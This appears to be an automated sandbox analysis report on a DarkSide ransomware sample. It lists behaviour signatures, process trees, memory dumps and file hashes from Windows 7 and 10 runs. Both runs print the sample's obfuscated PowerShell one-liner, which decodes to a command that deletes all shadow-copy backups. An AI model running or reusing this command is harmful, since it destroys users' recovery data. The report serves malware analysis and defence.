Analysis Overview
SHA256
9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297
Threat Level: Known bad
The file 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample was found to be: Known bad.
Malicious Activity Summary
DarkSide
UPX packed file
Modifies extensions of user files
Reads user/profile data of web browsers
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Suspicious behavior: EnumeratesProcesses
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2021-07-26 12:39
Signatures
UPX packed file
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2021-07-26 12:39
Reported
2021-07-26 12:45
Platform
win7v20210408
Max time kernel
137s
Max time network
144s
Command Line
Signatures
DarkSide
Modifies extensions of user files
Reads user/profile data of web browsers
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 752 wrote to memory of 1832 | N/A | C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 752 wrote to memory of 1832 | N/A | C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 752 wrote to memory of 1832 | N/A | C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 752 wrote to memory of 1832 | N/A | C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
"C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
Network
Files
memory/752-60-0x00000000750C1000-0x00000000750C3000-memory.dmp
memory/1832-61-0x0000000000000000-mapping.dmp
memory/1832-62-0x000007FEFB701000-0x000007FEFB703000-memory.dmp
memory/1832-63-0x00000000020A0000-0x00000000020A1000-memory.dmp
memory/1832-64-0x000000001AB40000-0x000000001AB41000-memory.dmp
memory/1832-65-0x00000000024B0000-0x00000000024B1000-memory.dmp
memory/1832-66-0x000000001AAC0000-0x000000001AAC2000-memory.dmp
memory/1832-67-0x000000001AAC4000-0x000000001AAC6000-memory.dmp
memory/1832-68-0x00000000024E0000-0x00000000024E1000-memory.dmp
memory/1832-69-0x000000001C480000-0x000000001C481000-memory.dmp
memory/1832-70-0x000000001C620000-0x000000001C621000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
| MD5 | 1f8db64be6c37e59515420a11c6befba |
| SHA1 | eb9e3cfd05f3d0552f7fe70dfd0e651721ec8a85 |
| SHA256 | 699ee64cf0eb24f8666597759b5a0e7fb6cf727c4e6d109e1c26b1f6bcf477ea |
| SHA512 | 829bc83ff956f278c4846ec5e0c90a4715a245fa98dab6beeafebef8e56b3f3a2cac2a973215d984cb8a5f97226c8bd4ce5289bae2deb701883df5fbee363557 |
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
| MD5 | c0dec4e1374490ca8e2ccac7538f4219 |
| SHA1 | b5ce5ff867d52f5d7533c167a01afad66d908d10 |
| SHA256 | acb51894e8438d8d0f61901edb4941ae33b1b7ae11e6f5356b4fde090adabd54 |
| SHA512 | 6e748addcef4ae4ea3f9073775135c4be9bba8a5de60be89100ec5ce103ed5d2d67174b4e0acd1b1f31359eedae8df5240e1d79d4958be0e6d4f8e5cae5c46ca |
Analysis: behavioral2
Detonation Overview
Submitted
2021-07-26 12:39
Reported
2021-07-26 12:45
Platform
win10v20210408
Max time kernel
35s
Max time network
136s
Command Line
Signatures
DarkSide
Modifies extensions of user files
Reads user/profile data of web browsers
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 808 wrote to memory of 3612 | N/A | C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 808 wrote to memory of 3612 | N/A | C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
"C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
Network
Files
memory/3612-114-0x0000000000000000-mapping.dmp
memory/3612-119-0x00000164E4D90000-0x00000164E4D91000-memory.dmp
memory/3612-123-0x00000164FD450000-0x00000164FD451000-memory.dmp
memory/3612-132-0x00000164FD440000-0x00000164FD442000-memory.dmp
memory/3612-133-0x00000164FD443000-0x00000164FD445000-memory.dmp
memory/3612-134-0x00000164FD446000-0x00000164FD448000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | ea6243fdb2bfcca2211884b0a21a0afc |
| SHA1 | 2eee5232ca6acc33c3e7de03900e890f4adf0f2f |
| SHA256 | 5bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8 |
| SHA512 | 189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 35041379cc75fcc9fb42ce3e4f901728 |
| SHA1 | 12051d56c93158131177eb7a8220a1f2a26889bb |
| SHA256 | 68f2a1ab7e476374a20349a17c273a9a3a0941d0ac79a7a3823f0e9a8e208f69 |
| SHA512 | 2d2a3969250afe48905e120f267267230190a566ee82cfcb4f3e3d17bee4d90497555f5a9484a40cfb032eb4f0cf412dbddc35339957a3afe23938520a2e52a5 |